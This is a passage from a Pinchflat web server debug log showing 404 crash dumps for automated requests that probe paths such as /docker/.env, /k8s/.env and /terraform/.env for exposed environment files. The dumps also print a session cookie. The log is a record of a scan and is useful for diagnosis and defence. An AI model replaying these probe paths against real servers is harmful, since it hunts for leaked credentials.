~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 179, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /docker/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 179, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: (truncated) 02:10:21.222 [info] GET /k8s/.env 02:10:21.223 [debug] QUERY OK source="settings" db=0.1ms idle=194.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:21.223 [debug] QUERY OK source="settings" db=0.1ms idle=131.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:21.223 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:21.223 [error] #PID<0.3484.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 180) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /k8s/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /k8s/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/k8s/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 180, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3484.0>, params: %{}, path_info: ["k8s", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/k8s/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk64ECd7gqOIwAASzB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/k8s/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 180, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /k8s/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/k8s/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 180, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: (truncated) 02:10:21.287 [info] GET /kubernetes/.env 02:10:21.288 [debug] QUERY OK source="settings" db=0.1ms idle=195.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:21.288 [debug] QUERY OK source="settings" db=0.1ms idle=128.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:21.288 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:21.288 [error] #PID<0.3485.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 181) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /kubernetes/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /kubernetes/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/kubernetes/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 181, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3485.0>, params: %{}, path_info: ["kubernetes", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/kubernetes/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk64Tilu6pnHsAAS0B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/kubernetes/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 181, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /kubernetes/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/kubernetes/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 181, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ (truncated) 02:10:21.349 [info] GET /terraform/.env 02:10:21.350 [debug] QUERY OK source="settings" db=0.3ms idle=189.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:21.351 [debug] QUERY OK source="settings" db=0.2ms idle=127.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:21.351 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:21.352 [error] #PID<0.3486.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 182) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /terraform/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /terraform/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/terraform/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 182, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3486.0>, params: %{}, path_info: ["terraform", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/terraform/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk64iV8aI2kqoAAS1B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/terraform/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 182, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /terraform/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/terraform/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 182, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => 